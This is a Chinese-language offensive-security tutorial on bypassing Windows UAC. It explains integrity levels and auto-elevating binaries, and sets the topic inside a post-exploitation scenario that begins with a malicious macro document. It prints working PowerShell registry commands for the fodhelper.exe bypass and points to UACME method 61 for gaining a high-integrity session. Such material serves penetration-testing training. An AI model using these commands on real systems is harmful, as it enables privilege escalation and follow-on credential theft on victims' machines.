# UAC绕过

我们可能以为，拿到了管理员权限的 shell 已经大功告成了，实际上并不是这样。帐号与帐号之间有权限的差异，而管理员上下文的会话则有完整度（Integrity）的差异。对于管理员用户，默认完整度是**中等**，如果要充分利用管理员的权限，所需要的完整度等级是**高**，而SYSTEM上下文的完整度是 **SYSTEM**。

举个实际例子的话，攻击者发送了一份带有宏的恶意文件，并且受害者打开了它使得载荷得以成功执行，受害者当前的帐号是本机的本地管理员。但是返回的 beacon 却是中等完整度的，一些敏感操作无法执行，例如添加新的用户、使用 mimikatz 导出凭证、访问其他主机的 **C$** 等。以下3个截图分别是中等完整性、高级完整性、以及系统级完整性的截图，我们可以通过命令 **whoami /groups** 查看。至于具体怎么操作，直接运行cmd.exe则默认以中等完整度运行，右键选择以管理员权限运行，则是高级完整度。通过PsExec生成SYSTEM权限的cmd.exe，则是系统级完整度。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/dsrljLOLJiKXYUtp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/dsrljLOLJiKXYUtp-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DLWZKkNpX8VMNPK8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DLWZKkNpX8VMNPK8-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/YPWY7Q2TauCnGl7W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/YPWY7Q2TauCnGl7W-image.png)

UAC 用于允许管理员用户不对每个执行的进程授予管理员权限。这通过使用默认用户的低权限令牌来实现的。当管理员以管理员身份执行某个进程时，将执行 UAC 提升，使用特权令牌创建进程。如果用户属于管理员组，则某些程序会自动提升。这些二进制文件在其清单中具有值为 True 的 autoElevate 选项。需要注意的是，这些二进制文件由 Microsoft 签名的。  
为了绕过 UAC，即从中等完整性等级提升到高完整性等级，攻击者会使用这种二进制文件来执行任意代码，因为它将以高级完整性等级执行，例如 **fodHelper.exe**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hur7pbj8z7JlyQV8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hur7pbj8z7JlyQV8-image.png)

经典的 Fodhelper UAC 绕过的方式如下：

```powershell
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
C:\Windows\System32\fodhelper.exe
```

当前，我们是中等完整度：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CMSGLsdLX6qgytnT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CMSGLsdLX6qgytnT-image.png)

执行如上命令后，高完整度的 powershell.exe GUI 会弹出来

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DDXk74TMw8bKDJe9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DDXk74TMw8bKDJe9-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/UrlD2WI5pJUHsnMo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/UrlD2WI5pJUHsnMo-image.png)

关于 UAC 的绕过方式有多种，但背后的根本原因是一致的：**以高完整度的上下文执行程序或代码**。UACME ([https://github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME)) 工具利用了 Windows 内置的自动以高完整度运行的程序实现UAC绕过，在目前依然有效。在编译后选择合适的 key 以及要运行的程序，便可以提升完整度等级了。

我们选择了 61号方法，方法背景如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LBUXOY2vVtBCWTl8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LBUXOY2vVtBCWTl8-image.png)

我们成功获得了高完整度的会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/4JQ9F7r58fZEL5Gq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/4JQ9F7r58fZEL5Gq-image.png)